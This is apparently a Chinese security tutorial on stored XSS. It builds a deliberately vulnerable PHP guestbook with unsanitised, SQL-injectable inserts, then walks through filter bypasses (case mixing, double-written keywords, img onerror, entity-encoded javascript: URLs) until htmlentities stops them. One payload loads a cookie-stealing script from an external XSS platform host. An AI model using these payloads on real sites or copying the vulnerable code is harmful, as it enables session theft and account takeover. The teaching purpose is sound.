不想做开发的黑客不是好黑客。
本文只对存储型XSS进行分析。那么,什么是存储型XSS呢?
它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一般是注入一段javascript脚本。在测试过程中,我们一般是使用:
<script>alert(1)</script>
通过这段js代码,弹个框来证明存在xss漏洞。那么,可能新手就会问了,弹个框有什么用呢?
其实,弹框只是为了证明存在此漏洞。而此漏洞的利用方式由很多种。
比如,你可以使用xss平台:
写入一段平台生成的xss脚本:
<script src=//xsspt.com/ZsgUBf></script>
当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。
你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。
注意:本文的重点是一步一步以黑客的角度进行xss攻击,再讨论如何站在开发者的角度去一步一步防御xss攻击。所以我会在本文中以开发的身份修正后端代码,再以黑客的身份进行前端页面的xss攻击,这一点需要注意哦。
对于存储型xss漏洞的表现形式,比较经典的是留言板。但是我们都是遵纪守法的好同学,不能对外面的网站进行测试,所以就花半个小时自己手撸一个留言板咯。
首先,应该有前端展示的页面Message_Board.php和后端存储数据的页面addMessage.php
前端代码不是本文重点(感兴趣的可以去看看我的代码:https://github.com/BrucessKING/Back-stage-Management)
我们重点关注后端代码addMessage.php:
<?php
$nickname = @$_POST['nickname'];//昵称
$email = @$_POST['email'];//邮箱
$content = @$_POST['content'];//留言内容
$now_time = @$_POST['now_time'];//留言时间
$ini= @parse_ini_file("config.ini");
$con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);
if($con){
mysql_query("set names 'utf8'");//解决中文乱码问题
mysql_select_db($ini["dbname"]);
$sql1 = "select count(*) from message_board";
$result = mysql_query($sql1);
$floor = mysql_fetch_row($result)[0] + 1;
$sql = "insert into message_board values($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
mysql_query($sql);
}
?>
可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。
所以,只要我们这样输入:
提交之后,系统会自动刷新页面出现弹框:
点击确定后,你会发现留言内容和留言者的部分都为空。
这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。
那么,问题来了。
毕竟我们还有另外一个身份,开发者该如何防御呢?
在input标签里面加上maxlength属性
<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">
至于原理嘛,就是因为js脚本的形式为<script></script>长度为17,所以只要我们在前端对长度进行限制,就可以阻止黑客进行xss攻击了
可是!开发可没这么好做!
我们是想做开发的黑客,所以还得自己搞自己。
作为攻击者,我们同样可以修改前端代码,具体的操作是使用浏览器的F12(开发者工具)
可以看到,我们可以直接进行长度的修改。
另外,还可以用抓包的方法,在包里面直接写,也是不受长度限制的。
作为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么我们只需要进行script过滤即可。
回到之前的代码。
为方便说明,我只取nickname参数,其实传入的四个参数需要做同样的处理。
$nickname = str_replace("script", "", @$_POST['nickname']);//昵称
上面这个str_replace()函数的意思是把script替换为空。
可以看到,script被替换为空,弹框失败。
那么黑客该如何继续进行攻击呢?
答案是:大小写绕过
<sCrIPt>alert(1)</ScripT>
因为js是不区分大小写的,所以我们的大小写不影响脚本的执行
成功弹框
作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛
后端代码修正如下:
$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称
str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。
那么,大黑阔该如何绕过?
答案是:双写script
<Sscriptcript>alert(1)</Sscriptcript>
原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。
弹框成功!
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称
显然,弹框失败。
攻击者如何再一次绕过?
答案是:用img标签的oneerror属性
<img src=x onerror=alert(1)>
看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!
$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称
$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称
那么,攻击者该怎么办呢?
答案是:编码绕过
<a href=javascript:alert(1)>a</a>
当点击页面上的超链接时,会弹框。
但是为什么呢?
这种编码方式为字符编码
字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“j”或“j ”
上述代码解码之后如下:
<a href=javascript:alert(1)>a</a>
你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。
作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?
当然可以了:用iframe标签编码
<iframe src=javascript:alert(1)>
这种写法,同样既没有script关键字,又没有alert关键字。
可以看到弹框成功!
可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。
优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?
可是我不想手撸代码来列举那么多特殊字符怎么办?
php给我们提供了htmlentities()函数:
$nickname = htmlentities(@$_POST['nickname']);//昵称
htmlentities()函数的作用是把字符转换为 HTML 实体。
显示结果 | 描述 | 实体名称 | 实体编号 |
---|---|---|---|
空格 | |   | |
< | 小于号 | < | < |
> | 大于号 | > | > |
& | 和号 | & | & |
“ | 引号 | " | " |
‘ | 撇号 | ' (IE不支持) | ' |
¢ | 分(cent) | ¢ | ¢ |
£ | 镑(pound) | £ | £ |
¥ | 元(yen) | ¥ | ¥ |
€ | 欧元(euro) | € | € |
§ | 小节 | § | § |
© | 版权(copyright) | © | © |
® | 注册商标 | ® | ® |
™ | 商标 | ™ | ™ |
× | 乘号 | × | × |
÷ | 除号 | ÷ | ÷ |
看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(<)时,浏览器会认为这是标签的一部分(因为所有标签都由大于号,标签名和小于号构成),因此,为了能在页面上显示这个小于号(<),我们引入了HTML字符实体的概念,能够在页面上显示类似于小于号(<)这样的特殊符号,而不会影响到页面标签的解析。
可以看到,我们输入的内容全部显示在页面上了。
可是却没有弹框。
我们鼠标右键,查看网页源代码:
实际上,我们输入的内容已经变成了HTML实体:
<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
无法被解析为js脚本。
黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)
开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。
黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。
对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。
最后,我要说一句,java天下第一!
*本文原创作者:ABKing,属于FreeBuf原创奖励计划,未经许可禁止转载